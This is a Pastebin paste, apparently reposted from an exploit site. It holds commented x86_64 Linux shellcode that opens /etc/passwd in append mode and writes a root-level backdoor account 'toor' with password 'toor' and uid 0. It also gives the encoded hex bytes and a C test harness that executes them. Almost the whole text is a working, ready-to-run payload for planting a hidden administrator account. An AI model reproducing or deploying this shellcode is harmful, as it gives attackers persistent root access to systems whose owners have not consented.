Advertisement
Guest User

Untitled

a guest
Jan 26th, 2019
425
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.26 KB | None | 0 0
  1. ; Title: add root user (toor:toor)
  2. ; Date: 20180811
  3. ; Author: epi <epibar052@gmail.com>
  4. ; https://epi052.gitlab.io/notes-to-self/
  5. ; Tested on: linux/x86_64 (SMP CentOS-7 3.10.0-862.2.3.el7.x86_64 GNU/Linux)
  6. ;
  7. ; Shellcode Length: 99 bytes
  8. ; Action: Adds a user into /etc/passwd with the following information
  9. ; username: toor
  10. ; password: toor
  11. ; uid: 0
  12. ; gid: 0
  13. ; home: /root
  14. ; shell: /bin/sh
  15. ;
  16. ; toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh
  17.  
  18. global _start
  19.  
  20. section .text
  21. _start:
  22. ; #define __NR_open 2
  23. ; int open(const char *pathname, int flags);
  24. ; rax -> 2
  25. ; rdi -> /etc/passwd
  26. ; rsi -> 0x401
  27. ;
  28. ; >>> hex(os.O_WRONLY ^ os.O_APPEND)
  29. ; 0x401
  30. xor ebx, ebx
  31. mul ebx ; rax|rdx -> 0x0
  32. push rax
  33. mov ebx, 0x647773ff ; swd
  34. shr ebx, 0x08
  35. push rbx
  36. mov rbx, 0x7361702f6374652f ; /etc/pas
  37. push rbx
  38. mov rdi, rsp ; rdi -> /etc/passwd
  39. xchg esi, edx ; swap registers to zero out rsi
  40. mov si, 0x401 ; rsi -> O_WRONLY|O_APPEND
  41. add al, 0x2 ; rax -> 2 (open)
  42. syscall ; open
  43.  
  44. xchg rdi, rax ; save returned fd
  45.  
  46. jmp short get_entry_address ; start jmp-call-pop
  47.  
  48. write_entry:
  49. ; #define __NR_write 1
  50. ; ssize_t write(int fd, const void *buf, size_t count);
  51. ; rax -> 1
  52. ; rdi -> results of open syscall
  53. ; rsi -> user's entry
  54. ; rdx -> len of user's entry
  55. pop rsi ; end jmp-call-pop, rsi -> user's entry
  56. push 0x1
  57. pop rax ; rax -> 1
  58. push 38 ; length + 1 for newline
  59. pop rdx ; rdx -> length of user's entry
  60. syscall ; write
  61.  
  62. ; #define __NR_exit 60
  63. ; void _exit(int status);
  64. ; rax -> 60
  65. ; rdi -> don't care
  66. push 60
  67. pop rax
  68. syscall ; OS will handle closing fd at exit
  69.  
  70. get_entry_address:
  71. call write_entry
  72. user_entry: db "toor:sXuCKi7k3Xh/s:0:0::/root:/bin/sh",0xa
  73. ; if the user_entry above is modified, change the _count_ argument in the write call to match the new length
  74. ; openssl passwd -crypt
  75. ; Password: toor
  76. ; Verifying - Password: toor
  77. ; sXuCKi7k3Xh/s
  78.  
  79. ; Skeleton for testing
  80. ;
  81. ; gcc -fno-stack-protector -z execstack shellcode-skeleton.c -o shellcode-skeleton
  82. ;
  83. ; #include <stdio.h>
  84. ; #include <string.h>
  85. ;
  86. ; unsigned char shellcode[] = \
  87. ; "\x31\xdb\xf7\xe3\x50\xbb\xff\x73\x77\x64\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63\x2f\x70\x61\x73\x53\x48\x89\xe7\x87\xf2\x66\xbe\x01\x04\x04\x02\x0f\x05\x48\x97\xeb\x0e\x5e\x6a\x01\x58\x6a\x26\x5a\x0f\x05\x6a\x3c\x58\x0f\x05\xe8\xed\xff\xff\xff\x74\x6f\x6f\x72\x3a\x73\x58\x75\x43\x4b\x69\x37\x6b\x33\x58\x68\x2f\x73\x3a\x30\x3a\x30\x3a\x3a\x2f\x72\x6f\x6f\x74\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a";
  88. ;
  89. ; int main() {
  90. ; printf("Shellcode length: %zu\n", strlen(shellcode));
  91. ; int (*ret)() = (int(*)())shellcode;
  92. ; ret();
  93. ; }
  94.  
  95. # 0day.today [2019-01-26] #
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement